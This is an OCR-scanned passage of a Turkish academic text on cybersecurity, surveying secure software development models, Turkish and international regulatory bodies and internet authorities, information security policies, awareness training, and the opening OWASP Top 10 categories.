kritik giivenlik aciklarinin kapisini aralar.

Bununla birlikte, gelistirmenin sonraki asamalarinda veya dagitim sirasinda/sonrasinda
kusurlarn ve aciklan diizeltmek veya yamamak ¢ok maliyetli olabilir ve yamanin kendisi
sistemde yeni bir giivenlik a¢ig1 da olusturabilir. Giivenlik, gelismis planlama ve dikkatli
tasarim gerektiren, yeni ortaya c¢ikan bir yazilim kalitesi unsurudur (Viega ve McGraw,
2002). Bu nedenle, yasam dongiisii boyunca giivenligin yazilim gelistirmeye entegre

edilmesini saglamak hayati derecede 6nemlidir.

Giivenlik aragtirmalari, yazilim gelistirme sirasinda giivenlige odaklanan cesitli yaklagimlari
ve siirecleri kapsar. Farkli yazilim modelleri kullanarak giivenligi, Yazilim Gelistirme
Yasam Dongiisiine (SDLC: Software Development Life Cycle) dahil etmek i¢in gesitli

eylemler onerilmistir. Giivenligi gelistirilmis metodolojiler ve siirecler olugturmak amaciyla,
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geleneksel yasam dongiisiine giivenlik etkinlikleri ekleyerek geleneksel yasam dongiisiinde

cesitli degisiklikler yapilmistir (Goertzel ve Winograd, 2008).

Londra Universitesindeki arastirmacilar, UML’ye dayal1, spiral bir model kullanarak entegre
giivenlik ve kullanilabilirlige sahip bir aragtirma modeli olan ‘Bilgi Giivenligi i¢in Uygun
ve Etkili Rehberligi (AEGIS: Appropriate and Effective Guidance in Information Security)’
geligtirdiler. Bu model, tanimin bir UML meta-modelini ve sistemin varliklar tizerindeki
mantigin1 tammlar (Flechais, Mascolo ve Sasse, 2007). AEGIS, gelistiricilere, sistem
tasartminda giivenlik ve kullanilabilirlik gereksinimlerini ele alma konusunda rehberlik eder.
Yazarlar tarafindan tanimlanan UML meta-modeli, varliklari, iglemin igerigini tanimlar ve

giivenlik gereksinimlerinin modellemesini destekler.

AEGIS’deki tiim giivenlik kararlari, sistemin varliklarimin bilgisinden elde edilir.
AEGIS’deki sistem tasarimi oturumlari i¢in temel giivenlik etkinlikleri sunlardir: Varliklarin
ve giivenlik gereksinimlerinin belirlenmesi, risk ve giivenli tasarimin analizi ve sisteme
yonelik risklerin, aciklarin ve tehditlerin belirlenmesi. Bu faaliyetlerden elde edilen ¢ikti,
tiim belirtilen kars1 6nlemlerle sistem mimarisini iceren bir tasarim belgesinde belgelenir.
AEGIS’de, gelistirme siirecinde giivenlik uzmanlig1 yoktur. Ayrica, giivenlik 6nlemlerinin
secimine iligkin karar alma, paydaslar tarafindan yapilir. Yazarin bunun arkasindaki mantigi,
karar vericilerin “giivenligin sosyal gereksinimlerinin uygulanmasiyla basa ¢ikmak icin daha

uygun”, gelistiricilerin ise giivenligin teknik uygulamasi i¢in gerekli oldugu diisiincesidir.

Nijerya Tarim Universitesinde (Sodiya, Onashoga ve Ajayi, 2006) gelistirilen Giivenli
Yazilim Gelistirme Modeli (SSDM: Secure Software Development Model), giivenlik
faaliyetlerini miihendislik siirecine entegre eder: Giivenlik egitimi, tehdit modelleme,
giivenligin tanimlanmasi, giivenlik tantmlamalarinin incelenmesi ve sizma testleri. Ayrica

SSDM, giivenlik tanimlamasini fonksiyonel tanimlamalardan ayirmistir.

Bir giivenlik siireci olan ‘“Kapsamli, Hafif Uygulama Giivenligi Siireci (CLASP:
Comprehensive, Lightweight Application Security Process)” (Viega, 2005), giivenli
yazilim gelistirme i¢in hafif bir siireci tanimlar. CLASP, yazilim sistemlerinin giivenlik
gereksinimlerini tiiretmek i¢in yapilandirilmis uygulamalar saglar (Gregoire ve dig., 2009).
CLASP, asagidakiler gibi yedi temel en iyi uygulamayi ana hatlariyla belirtir: Giivenlik
bilinci, uygulama degerlendirmeleri, giivenlik gereksinimlerinin tiiretilmesi, giivenli

gelistirme uygulamalarinin tatbiki, giivenlik aci81 iyilestirme Onlemlerinin gelistirilmesi,
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Olciitlerin tamimlanmas1 ve izlenmesi ile operasyonel yonergelerin yaymlanmasi. CLASP
ayrica gelistirme yasam dongiisiine dahil edilmesi gereken bir dizi etkinligi de belirtir.
CLASP, kaynaklar metodolojisindeki faaliyetleri yapilandirmak ve desteklemek i¢in roller

ve giivenlik saglar.

Yiiksek diizeyde, CLASP’nin giivenlik gereksinimlerini formiile etme yaklasimi asagidaki

adimlardan olusur:

1. Sistem rollerini ve kaynaklarini belirleyin.
2. Kaynaklar1 soyutlamalara ayirin.
3. Sistemin Omrii boyunca kaynak etkilesimlerini belirleyin.

4. Her kategori i¢in, her bir temel giivenlik hizmetine yonelik mekanizmalari belirtin.

Microsoft’un Giivenlik Gelistirme Yasam Dongiisii (SDL: Security Development Lifecycle),
giivenlik etkinliklerini SDLC’nin her gelistirme asamasina dahil etmigtir (Lipner, 2004).
Amaci, yazilimdaki giivenlik aciklarinin sayisint azaltmaktir (Lipner, 2004). SDL, giivenlik
sorunlarinin iistesinden gelen bir dizi etkinlikten olusur. SDL’deki faaliyetler, genel yazilim

gelistirme agsamalariyla eglestirilebilecek asamalar halinde gruplandirilmistir.

Yedi “temas noktasi”, yazilim gelistiricilerin bunlar1 gelistirme asamalarinda nasil
uygulayabileceklerini sergiler. Temas noktalarinin amaci, kod incelemesi, mimari risk
analizi, sizma testi, risk tabanli giivenlik testleri, kotiiye kullamim vakalari, giivenlik
gereksinimleri ve giivenlik islemleri (Gregoire ve dig., 2009) araciliiyla etkinligi

artirmaktir.

Sonu¢ olarak, yukarida bahsedilen modeller, bu konuda gelistirilmig tiim modeller ve
calismalar1 kapsamamakla birlikte giivenli yazilim olusturmak i¢in neye ihtiya¢ duyulduguna
odaklanan bazi o6rneklerdir. Bununla birlikte, giivenli yazilim gelistirme siirecinin basarili
bir sekilde uygulanmasi icin gerekli faktorleri belirleme konusunda daha ileri arastirmalar

yapilmasi gereksinimi vardir.

2.1.2.2. Diizenleyici/Denetleyici kurum ve kuruluglar
Bu béliimiin amaci, giivenlik yonetimi, risk degerlendirmesi, giivenlik testleri, adli bilisim

sorusturmalari, bilimsel ve teknik aragtirmalar, iiriin ve hizmet gelistirme gibi siber giivenlik
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alanindaki cesitli faaliyetleri gerceklestirirken dikkate alinmasi gereken yasal ve diizenleyici

konulara iligkin giris saglamaktir.

Siber uzayin dogusu, yasalarin ve diizenlemelerin bu yeni alana uygulanmasziyla ilgili olarak

biiytik bir endiseye neden olmustur.

Matematik ve fizik bilimlerinin kurallar1 diinya ¢apinda hem degismez hem de aynidir.
Ancak kanunlar ve diizenlemeler degildir. Diinyanin yasal ve diizenleyici sistemlerinin
temeli, yiizyillardir bolgesel egemenlik ilkesine dayanmaktadir. Bu gercek, siber giivenlik
alaninda da diinyada farkli tilkelerin farkli diizenleme ve uygulamalara sahip olma
gercekligini dogurmaktadir. Kanun ve yonetmeliklerdeki farkliliklari uyumlu hale getirmeye
yonelik cesitli uluslararas1 c¢abalar, degisken derecelerde basariya ulasmistir. Buysa
uygulamada kanunlarin ve diizenlemelerin iilkeden iilkeye, eyaletten eyalete -bazen 6nemli
Olciide- farklilik gosterdigi anlamina gelir. Bu farkliliklar, insanlar siber uzayin aracglariyla
hareket ettikleri i¢in basitce silinmez (Goldsmith ve Wu, 2006). Yine de zaman zaman

saldirganlar bu farkliliklardan da faydalanarak kendilerini daha giivende tutabilmektedir.

Bu alan, hem tabi olduklar1 ana iilke hem de temas kurduklar1 yabanci devletler agisindan
faaliyetlerini farkl iilkeler tarafindan dayatilan yasalar ve yonetmelikler uyarinca yiiriitmeye
davet edilecek ¢ok uluslu bir uygulayici kitlesine hitap eder. Yasal ayrintilarin devlete gore
degistigi gercegine saygi duyarken, bu alan ayn1 zamanda, giivenlik konusunda ¢aligsanlarin
caligmalarini etkileyebilecek (veya etkilemesi gereken) uluslararasi kamu hukukunun bazi
yonleri ile ¢esitli ic hukuk ve diizenleme sistemleri arasinda yaygin olarak paylasilan bazi
normlar1 da belirlemeye calismaktadir. Uygulayici icin fayday: koruyan genellestirilebilir
normlar arayisinda, bu bilgi alam1 Oncelikle maddi hukuka odaklanir. Maddi hukuk ise
kisilerin yiikiimliiliiklerine, sorumluluklarina ve davranislarina odaklanir. Bu alana iligkin
olarak, bilgisayar suclari, sozlesme, haksiz fiil, kisisel verilerin korumasi vb. Ornekler
verilebilir (5651 sayil1 Internet Ortaminda Yapilan Yayinlarin Diizenlenmesi ve bu Yayinlar
Yoluyla islenen Suglarla Miicadele Edilmesi Hakkinda Kanun, 6698 sayili Kisisel Verilerin

Korunmasi Kanunu gibi)

Siber uzayin gelismesiyle bu diinyada da kanun ve kurallar ihtiyaci dogdugunda iki
hakim diisiince okulu ortaya ¢ikti. IIk okul, siber uzayin insan deneyimindeki herhangi
bir seyden c¢ok radikal bir sekilde farkli oldugunu, eski yasalarin uygun olmadigini ve

bu yeni alan kullanilarak yapilan eylemlere biiyiik 6l¢iide uygulanamayacagini 6ne siirdii.
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Kanun koyucular ve yargi¢lar, bu okul tarafindan tiim doktrinleri yeniden incelemeye ve
anlagsmazliklar1 degerlendirirken genis emsal alanlarini terk etmeye tesvik edildi. Bu goriisiin
radikal savunuculari, egemen devletlerin Internet ile ilgili faaliyetler baglaminda yasa ve

diizenlemeleri uygulama yetkisini inkar edecek kadar ileri gittiler (Barlow, 1996).

Ikinci okul, bunun yerine Internet’in, insanlik tarihinde gelistirilen pek cok arac gibi,

yalnizca insan eyleminin bir aract oldugunu savunuyordu. Bu nedenle yasalar belki de;

- siber uzayi kullanan kisilere, tipki bu ortam var olmadan 6nce uygulandig: gibi, bircok
acidan uygulanmaya devam edilmelidir (Johnson ve Post, 1996). Bu ikinci okulun

tiyeleri “siber uzay yanilgisin1” tanimladilar.

- siber uzayin yasal bir yargi alan1 olduguna dair yanlis inang, gercek alandan bir sekilde

ayr ve farkli olmalidir (Holland, 2005).

Simdilik, ikinci okul neredeyse evrensel olarak, devlet yetkilileri tarafindan da desteklenerek
galip geldi (Goldsmith ve Wu, 2006; Schmitt, 2017). Uygulayicilar, bazilar1 asirlik olan ve
bazilarimin her yi1l degistirildigi veya yeniden dogdugu mevcut yasalarin, siber uzay i¢in acgik
bir sekilde tasarlanip tasarlanmadigina bakilmaksizin, devletler, onlarin kanun yapicilari,
yargiglari, polisler ve savunma giicleri tarafindan siber uzay ile ilgili faaliyetlere uygulandigi

gercegiyle kars1 kargiyadir.

Yasalar1 ve kurallar faaliyetlerle eslestirmeye calisirken dikkatli olunmalidir. Avukatlar ve
hukukgular kanunu diizgiin bicimde kategorilere ayirirken, gercek hayat ile siber islemler her
zaman tek bir kategoriye tam olarak uymaz. Ornegin, telif hakkini ihlal etmeyen ve karalayici
olmayan tek bir veri isleme eylemi, yine de veri koruma haklarinin ihlalini olusturabilir.
Herhangi bir eylem, risk tegkil eden yasa veya yonetmeliklere gore degerlendirilmelidir. Cok
devletli diizenlemenin bir sonucu olarak ortaya ¢ikabilecek celigkili yiikiimliiliikkler sorunu

da mevcuttur.

Uygulayicilar, hukukun yapay zekaya uygulanmasiyla ilgili giderek daha fazla soru
sormaktadir. Kanunlar genellikle kisilerin davranislarini etkilemek ve bunlara yanit vermek
veya miilkiin tasarrufunu veya kullanimini ele almak icin cercevelenmistir. Yapay zeka
ornekleri, su anda yasa kapsaminda kisiler olarak tanimlanmamaktadir. Bu nedenle bir YZ,

bir suctan suglu olamaz, bir sozlesmeye giremez, miilk sahibi olamaz veya bir haksiz fiilden
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sorumlu olamaz. Bir YZ tarafindan kontrol edilen bir nesnenin zarara yol agmasi durumunda,
yasanin normalde onu yaratan veya kullanan kisilere, yani YZ’nin 6tesine bakmasi beklenir
ve bu kigilerin sorumlulugu mevcut yasal standartlar kullanilarak degerlendirilir. Bu konu,
kisilerin 6liim veya kisisel yaralanmaya neden olan YZ ile ilgili eylemlerden kesinlikle

sorumlu olabilecegi anlamina gelmektedir.

Ulusal ve uluslararas1 yasal diizenlemelerin haricinde siber giivenlik kullanicilarin ve
sektordeki ticari kurum ve kuruluglarin faaliyetlerini diizenleyen organizasyonlardan
da bahsetmek miimkiindiir. Ulkemizde bu kurum, yetkilendirme ve lisanslamalarla
ilgili faaliyetleri de yiiriitmekte olan, 27 Ocak 2000 tarihli ve 4502 sayili kanunla
“Telekomiinikasyon Kurumu” adiyla kurulup 10 Kasim 2008 tarihinde yayimlanan bir
kanunla adi “Bilgi Teknolojileri ve Iletisim Kurumu (BTK)” olarak degistirilen T. C.
Ulastirma ve Altyap1 Bakanliina bagl sektorel diizenleyici kurumdur (BTK, 2020).

BTK benzeri kuruluglar icin Avrupa Birligi (AB) kapsaminda ETSI (European
Telecommunications Standard Institute), Amerika’da ANSI (American National Standards
Institute), uluslararas1 diizeyde ise ITU (International Telecommunication Union) ve

ISO/IEC/JTC1 ornek olarak verilebilir.

Sektorde diizenlemeler yapan ve standartlar1 belirleyen yukarida adi gecen kurum ve
kuruluglar haricinde sektoriin biiylimesi, gelismesi i¢in ugrasan, egitim ve farkindaligin
artirllmasi i¢in ¢alismalar yapan ve yapilan diizenlemelere paydas olarak kamu yararina
faaliyet gosteren sivil toplum kuruluslarindan da bahsetmek miimkiindiir. Ulkemizde bu
organizasyonlara, Tiirkiye Bilisim Dernegi, Internet Teknolojileri Dernegi, Tiirkiye Biligim
Vakfi, Tiirkiye Bilisim Giivenligi Dernegi, Bilgi Giivenligi Dernegi ve Linux Kullanicilar
Dernegi gibi pek ¢cok STK 6rnek olarak verilebilir.

Ulusal bilgi giivenligi konusunda faaliyet gosteren olusumlar da mevcuttur. Ornegin
iilkemizde Bilgi Teknolojileri ve Iletisim Kurumu’nun Ulusal Siber Giivenlik Stratejisi ve
2013-2014 Eylem Planinin 4.3 maddesi uyarinca Ulusal Siber Olaylara Miidahale Merkezi
(USOM) olusturulmustur. USOM (TR-CERT)’un gorevi, iilke siber giivenligine kars1 siber
ortamdaki tehditlerin belirlenmesi, olas1 saldir1 ve siber olaylarin etkilerinin azaltilmasi veya
tamamen ortadan kaldirilmasina yonelik onlemlerin gelistirilmesi ve belirlenen aktorlerle
paylasilmasi, egitim, farkindalik ve en iyi uygulamalarin yayginlastirilmasi ve konuya iligkin

gerekli periyodik raporlamalarin yapilmasidir (USOM, 2020).
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Benzer sekilde diger iilkelerin de kendi CERT (Computer Emergency Response Team)
olusumlart mevcuttur. Bunlara ABD’de CISA (Cybersecurity & Infrastructure Security
Agency), Fransa’da CERT-FR (Centre gouvernemental de veille, d’alerte et de réponse aux
attaques informatiques), Almanya’da CERT-Bund (Computer Emergency Response Team

fiir Bundesbehorden) 6rnek olarak verilebilir.

2.1.2.3. Oftoriteler
Onceki boliimde ad1 gegen diizenleyici, denetleyici veya sektoriin gelisimine faydasi olan
kurum ve kuruluglar haricinde teknolojilerin olusumuna ve standart olarak kullanimina katki

sunan Internet Otoritelerinden de bahsetmek miimkiindiir.

Internette kullamlan protokolleri ve hizmetleri gelistirmek, tanitmak ve standartlastirmak
icin calisan, birbiriyle iligkili ¢esitli kuruluslar vardir. Bu kuruluglardan en goriiniir ve
bilinir olan1 Internet Miihendisligi Gérev Giicii’diir (IETF: Internet Engineering Task Force).
Ozetle, Internette kullanilan protokoller ve hizmetler, IETF tarafindan desteklenen isbirligine

dayali bir gelistirme ortaminda ¢alisan goniilliiler tarafindan gelistirilmektedir.

IETF, tanimlamalar1 standartlar olarak onaylayan kurulus olan Internet Miihendisligi
Yonlendirme Grubu (IESG: Internet Engineering Steering Group) adli kardes bir
organizasyona sahiptir. IESG’nin oy hakkina sahip tiim iiyeleri, ayn1 zamanda IETF’nin de
katilimcisidir. Buna ek olarak, Internet Mimarisi Kurulu (IAB: Internet Architecture Board)
olarak adlandirilan ilgili bir kurulus, Internet standartlarinin kullanimini ve benimsenmesini
etkileyen daha genis teknoloji sorunlarini inceleyerek IETF adina beyin-takimi hizmetleri

(uluslararas: karakter kiimeleri i¢in destek gibi) saglar.

Bu hizmetin bir parcasi olarak, IAB ayrica, 6zellikle ¢etrefilli ve karmasik konular1 arastiran,
Internet Arastirma Gorev Giicii (IRTF: Internet Research Task Force) adi verilen 6zel
bir arastirma organizasyonuna sahiptir. IAB ayrica, gelistirilen standartlarin kullanimim
kolaylastiran iki idari organizasyona sahiptir. Bu gruplar, internet Atanmis Numaralar
Yetkilisi (IANA: Internet Assigned Numbers Authority) ve RFC (Request for Comments)

Diizenleyicidir.

Internet Yonetisim Forumu, (IGF: Internet Governance Forum), Internet yonetisimi
konularinda politika diyalogu igin cok paydasli bir yonetisim grubudur. Ister hiikkumetleri,

ister 6zel sektorii veya sivil toplumu temsil etsinler, Internet yonetisimi tartismasindaki tiim
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paydaslar esit bir temelde, acik ve kapsayici bir siire¢ araciliiyla bir araya getirir.

Say1 Kaynak Organizasyonu (NRO: Number Resource Organization), bes Bolgesel Internet
Kayit Merkezini (RIR: Regional Internet Registries) birlestiren tiizel kisilige sahip olmayan
bir organizasyondur. S6z konusu bes olusum; Afrika bolgesi icin AfriNIC (African Network
Information Centre), Asya ve Pasifik bolgesi icin APNIC (Asia Pacific Network Information
Centre), Kuzey Amerika bolgesi icin ARIN (American Registry for Internet Numbers),
Latin Amerika ve Karayipler bolgesi icin LACNIC (Latin America and Caribbean Internet
Addresses Registry) ve Avrupa bolgesi i¢in ise RIPE NCC (Réseaux IP Européens Network

Coordination Centre)’dir.

Internet Tahsisli Sayilar ve Isimler Kurumu (ICANN: Internet Corporation for Assigned
Names and Numbers), Internet’in ad alanlar1 ve sayisal alanlariyla ilgili cesitli veri
tabanlariin bakim ve prosediirlerini koordine etmekten, agin istikrarli ve giivenli ¢alismasini
saglamaktan sorumlu Amerikan menseli cok paydasli ve kar amaci giitmeyen bir kurulugtur.
ICANN, IANA islev sozlesmesi uyarinca, Merkezi Internet Adresi havuzlarinin ve DNS kok

bolgesi kayitlarinin fiili teknik bakim calismalarin1 gerceklestirir.

Internet Toplulugu (ISOC: Internet Society), Internet ile ilgili standartlarda, egitimde,
erisimde ve politikada liderlik saglamak amaciyla 1992 yilinda Amerika’da kurulmus,
kar amaci giitmeyen bir kurulusudur. Misyonu, “Internetin agik gelisimini, evrimini ve
kullanimini diinyadaki tiim insanlarin yararina tesvik etmektir.”” Amerika Birlesik Devletleri

Washington DC Reston’da ve Isvicre Cenevre’de ofisleri bulunmaktadir.

2.1.2.4. Politika ve prosediirler

Bilgi Giivenligi Yonetim Sistemi (BGYS), bir kurum veya kurulusun varliklarinin gizliligini,
erisilebilirligini ve biitiinliigiinii, giivenlik tehditlerinden ve agiklarindan makul bir sekilde
korudugundan emin olmak icin uygulamasi gereken kontrolleri, yontemleri tanimlayan
ve yoneten bir sistematikti. BGYS’nin 6zii, bir organizasyonun varliklarinin yonetimi
ve korunmasi i¢in ele almasi gereken risklerin de8erlendirilmesini, bertaraf edilmesini
ve risklerin tiim paydaglara yayilmasini igeren bir siire¢ olan bilgi risk yOnetimini
icerir. Bu, varliklarin gizliliginin, biitiinliigiiniin, erisilebilirliginin ve degistirilmesinin
etkilerinin/sonuglarinin degerlendirilmesi dahil olmak iizere uygun varlik tanimlama ve

degerleme adimlarin1 gerektirir. Bilgi giivenligi yonetiminin bir parcasi olarak, bir kurulus
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bilgi giivenligi ile ilgili ISO/IEC 27001 standartlarinda tanimlanan bir bilgi giivenligi

yoOnetim sistemini ve bilgi giivenligine iligkin diger en iyi uygulamalar1 uygulayabilir.

Bilgi giivenligi i¢in bir dizi politika tanimlanmali, iist yonetim tarafindan onaylanmali,
herkesin erigebilecegi sekilde yayimlanmali, calisanlara ve ilgili harici taraflara iletilmelidir.
Politikalar, kurumu etkileyen gecerli diizenlemeler ve mevzuatin yani sira ig ihtiyaclari
tarafindan yonlendirilmelidir. Bu politikalar, yiiriirliikte olan kontrolleridir ve ayrica
miisteriler gibi paydaslarla paylagilmak iizere kurulugsun giivenlik konusundaki temel
beyanlari giiclendiren daha yiiksek seviyeli bir ana bilgi giivenligi politikas: dokiimaninda
Ozetlenmis olmalidir. Bu kapsayici politika, ISO 27001 sertifikasi ile bagimsiz, akredite bir

kurum tarafindan onaylandiginda cok daha inandirici ve giiclii bir hale gelir.

Politikalar ayrica bilgi giivenliginin omurgasint olusturur ve BGYS’nin uyumlu egitim,
ogretim ve farkindalik programinin bir parcas: olmalidir. Politikalar, kurulug tiyelerinin ve
tedarikciler gibi kilit taraflarin uymasi gereken ilkeleri belirler. Bu politikalarin diizenli

olarak gozden gecirilmesi ve gerektiginde giincellenmesi gerekmektedir.

Bilgi giivenligi politikalarinin, siirekli uygunluk, yeterlilik ve etkinliklerini saglamak
icin planlanan araliklarla veya onemli degisiklikler meydana geldigi durumunda (BYGS
kapsamindaki kurulusta degisiklik yapildiginda, riskleri ve problemleri, teknolojisi,
mevzuatt ve regiilasyonu, giivenlik zayifliklari, olaylar veya vakalar politika degisikligi

ihtiyacim gosteriyorsa) tekrar gozden gecirilmesi gerekir.

Politikalar da diizenli olarak gézden gecirilmeli ve giincellenmelidir. ISO, en azindan yillik
olarak ‘diizenli’ gozden gecirildigini kabul eder. Bu kadar cok incelemeyi manuel olarak

yonetmek ve ayrica bunu bagimsiz incelemeyle birlestirmek gergekten zor bir is olabilir.

Saglam bir giivenlik programinin temelini politika ve prosediirlerin olusturdugu sdéylenebilir.
Bu politika ve prosediirler, iist yonetimden, sistem, veri tabani ve ag yoOneticilerine,
son kullanicilardan tedarikg¢ilere kadar tiim kisileri baglar ve siireclerin dogru sekilde
isletilmesine rehberlik eder. BGYS’de yer almasi gereken bazi politikalara 6rnek olarak;
“Kabul Edilebilir Kullanim Politikas1”, “Erisim Kontrol Politikas1”, “Degisiklik Yonetim
Politikas1”, “Bilgi Giivenligi Politikas1”, “Olay Miidahale Politikas1”, “Uzaktan Erisim
Politikas1”, “E-posta/lletisim Politikas1”, “Felaketten Kurtarma Politikas1”, “Is Siirekliligi

Plan1” verilebilir.
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BGYS haricinde de politika ve prosediirlerden bahsedilebilir. Ornegin giivenli yazilim
gelistirme siireclerinde de giivenli kodlama prosediirleri veya giivenlik test prosediirleri
mevcuttur. Sunucu/uygulama yOnetimi, igletim sistemi yonetimi, giivenlik sikilagtirma,
penetrasyon testleri vb. gibi bilgi giivenligi ile iligkili bircok konuda da en iyi
uygulama Orneklerinden faydalanilarak olusturulmus politika ve prosediirler ile kisilerden

kaynaklanabilecek zafiyetleri en aza indirmek miimkiindiir.

2.1.3. Egitim ve farkindahk

Egitim ve farkindalik, dogrudan insan faktorii ile ilgili konular olsa da, giivenligin en zayif
halkasini olusturdugu soylenen insan kaynakli olusan giivenlik zafiyetlerini azaltmak, en
zayif halkayi giiclendirmek icin en 6nemli belki de yegane argiimanlar olarak goriinmektedir.

Bu nedenle daha 6nceki baglik altinda degil ayri bir baglik olarak ele alinmistir.

Tiim calisanlarin, bir kurulusun sistemlerini ve verilerini giivende tutmada oynayabilecekleri
rolii, belirli bir diizeyde anlamasi gerektigine dair artan bir kabul vardir. Bir¢ok kurulus,
giivenlik bilinci eg8itimi vermesine ragmen bunun ise yaramadigina dair gercek bir endise
vardir. Ashinda, Axelos (2016) tarafindan yakin zamanda yapilan bir anket, giivenlik
bilinci egitiminden sorumlu profesyonellerin, egitimin biiyiik Olciide etkisiz oldugunu

bildirdiklerini ortaya ¢ikarmistir.

Egitim ve farkindalik, bilgi giivenligi zincirinde farkli halkalart olusturan ve dolayisi ile
farkli etkilerde risk olusturan insan faktorleri icin Onemlidir. Buna 6rnek olarak sosyal
miihendislik, oltalama gibi saldirilara maruz kalabilecek herhangi bir calisan, yasadigi bir
giivenlik ihlalini ilgili birimlere bildirmeyen bir son kullanici, sistem/sunucu/uygulama/veri
taban1 yOneticisinin yapacagi yapilandirma hatasinin sebep olacagi bir giivenlik zafiyeti,
bir kullanicinin sistemlere erisimi i¢in belirleyecegi zayif veya eksik sifre/kimlik
bilgileri, kullanicimin kimlik bilgilerini bagkalar1 ile paylagsmasi, istemcilerin giivenlik
giincellemelerine dikkat etmemeleri, yazilim gelistiricilerin yazilim islevlerine 6nem

verirken giivenlik ile ilgili hususlara dnem vermemeleri gibi bircok drnek verilebilir.

Kuruluglarin cogu c¢alisanlara bilgi giivenligi konusunda genellikle mevzuatin zorunlu
tuttugu sekilde temel egitim vermektedir. Bu egitimler, cogunlukla cevrim ici temel veya
temel giris niteligindedir. Egitimle birlikte davrams degisikligi de onemlidir. Ornegin sirket

icinde kurgulanmuisg bir kimlik av1 saldirisi, kullanici farkindaligini anlamak i¢in her kurulugta
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cok yaygin olarak kullanilan bir yontemdir (Al-Mohannadi ve dig., 2018).

Giivenlik bilinci egitimi, genellikle maliyet veya farkli kaygilarla belirli bir personel
grubuna uygulanmaktadir. Bununla birlikte, giivenlik agiklar1 en az beklenen yerlerde
olabileceginden, etkili giivenlik bilinci egitimi vermenin anahtari tiim personelin buna
erismesini saglamaktir. Giivenlik risklerinin farkinda olduklar1 varsayilabilecek, hassas
verilere erisimi olan personel bile, Ornegin, kolay sifreler kullanmak veya giivenlik
yonergelerine uymamak gibi genellikle basit ve ilk bakista risksiz faaliyetlerin 6nemli

sorunlara yol acabilecegi gercegini bilingsizce gormezden gelebilmektedir.

Kuruluglar, calisanlart icin acikca etkili bir giivenlik egitimi ve farkindalik programi
cizmelidir (Chess ve Arkin, 2011). Bu programin amaci, proje ekibini giivenli yazilim
gelistirme ile ilgili bilgi ve becerilerle donatmaktir. Giivenli yazilim gelistirme girisimleri
icin gerekli destegin saglandigindan emin olmak icin yazilim gelistirme projesine dahil
olan her paydasa giivenli yazilim gelistirmenin onemi konusunda farkindalik verilmelidir.
Egitim, gelistiricilerin, giivenlik sorunlariin kuruluslar iizerindeki potansiyel etkisine kars1
duyarl olmalarina yardimei olabilecek bir 6grenme siirecidir (Raghavan ve Zhang, 2017).
Gelistiricileri iyi kodlama uygulamalarina duyulan ihtiya¢ konusunda egitmek, giivenligi

artiran iyi kodlama aligkanliklariyla sonuc¢lanabilir.

Giivenli yazilim gelistirme uygulamalarinin basarili bir sekilde uygulanmasi, gelistiricinin
bilgi, deneyim ve becerisinden dogrudan etkilenir. Gelistiricinin aldig1 egitim kritiktir ¢linkii
giivenlik tehditlerini anlama eksikligi, gelistiricinin gelistirme sirasinda farkinda olmadan

daha fazla giivenlik aci81 olusturmasina neden olabilir (Bartsch, 2011).

Bazi kuruluslar, statik analiz araglar gibi pahali giivenlik araclar1 edinir, ancak gelistiricilerin
bunlar etkili bir sekilde kullanma becerisi veya deneyimi olmadig1 i¢in bu ¢abalar bosuna
gitmektedir. SDLC’nin tamamina dahil olan kisilerin giivenli uygulamalar ve yazilimlar

tiretmek icin ne yapilmasi gerektigini anlamalar1 onemlidir (Colley, 2010).

Bir kelime igleme programini veya bagka bir uygulamayi etkili bir sekilde kullanmalar1 i¢in
egitebilecek sekilde, calisanlari siber ortamda giivenli olmalari i¢in egitmek pek miimkiin
goriinmemektedir. Daha ziyade, siber giivenlik egitimi, calisanlarin karsilastiklar1 herhangi
bir durumda giivenlik hakkinda nasil diisiindiiklerini belirleyen bir giivenlik zihniyeti

gelistirmekle ilgilidir.
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Giivenlik sorunlarinin her diizeydeki calisanlar tarafindan anlagilmasini saglamak
icin yaratict yollar bulmak hayati 6nem tasimaktadir. Bu yontemlerden halihazirda
kullanilanlardan bazilar1 oyunlastirma ve senaryolastirmadir. Giivenlik, sirketin daha genis
kiiltiirliniin bir parcasi haline gelmelidir. Aksi takdirde, verilen farkindalik egitimleri, ev

islerini bir kez yapmak ve bunun evi temiz tutmak i¢in yeterli olacagini hayal etmek gibidir.

2.1.4. OWASP Top 10

OWASP (Open Web Application Security Project), Web uygulama giivenligi i¢in yazilim
araclar1 ve bilgi tabanli belgeler gelistirmek {izere kurulmus bir agik kaynak toplulugu
projesidir. OWASP, kurumlarin (iiniversiteler, kamu kuruluslari, 6zel sektor firmalari,
vb.) giivenilir olabilecek uygulamalar1 tasarlamalarimi, gelistirmelerini, edinmelerini,
yonetmelerini ve siirdiirmelerini saglamaya adanmisti. OWASP Top 10, Web uygulama
giivenligi icin giiclii bir farkindalik belgesidir. OWASP Top Ten, en kritik Web uygulama
giivenligi kusurlarinin ne oldugu konusunda genis bir fikir birligini temsil eder. Proje
tiyeleri, bu listeyi iiretmek i¢in uzmanliklarim1 paylagan diinyanin dort bir yanindan cesitli
giivenlik uzmanlarii icermektedir. “OWASP Top 10 - En Kritik 10 Web Uygulama Giivenlik
Riski Raporu”, OWASP tarafindan 2003 yilindan itibaren belirli periyotlarla yayimlanmakta
olup Akademi, Devlet Kurumlari, Standardizasyon Gruplari, Ticari Orgiitler, Sertifikasyon

Kuruluglar1 ve Yazilim Gelistiricileri tarafindan referans olarak kullanilmaktadir.

Siber Giivenlik ve Web Zafiyet Analizi konusunda yapilan bir¢ok aragtirma ve yayinda
OWASP Top 10 raporunun referans alindig1, ¢calisma kapsaminin en sik karsilagilan ve kritik

olan 10 agiklik ile sinirlandirildigr goriilmektedir.

2017-A1: Enjeksiyon (Injection)

SQL, NoSQL, Isletim Sistemi ve LDAP enjeksiyonu gibi enjeksiyon kusurlari, komutun
veya sorgunun bir pargasi olarak yorumlayiciya giivenilmeyen veriler gonderildiginde
ortaya ¢ikar. Saldirganin kétiiciil verileri, yorumlayiciyr yaniltarak istenmeyen komutlarin

yiiriitiilmesini veya uygun yetkilendirme olmadan verilere erisilmesini saglayabilir.

2017-A2: Eksik/Yanhs Kimlik Dogrulama (Broken Authentication)
Kimlik dogrulama ve oturum yonetimi ile ilgili uygulama islevleri, genellikle saldirganlarin
parolalari, anahtarlar1 veya oturum belirteclerini ele gecirmesine veya diger uygulama

kusurlarint diger kullanicilarin kimliklerini (gecici veya kalic1 olarak) tahmin etmek i¢in
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kullanmalarina izin verir.

2017-A3: Hassas Veriyi Acikta Birakma (Sensitive Data Exposure)

Cogu Web uygulamasi1 ve API, finansal, saglikla ilgili ve kisisel ayirt edici bilgiler gibi
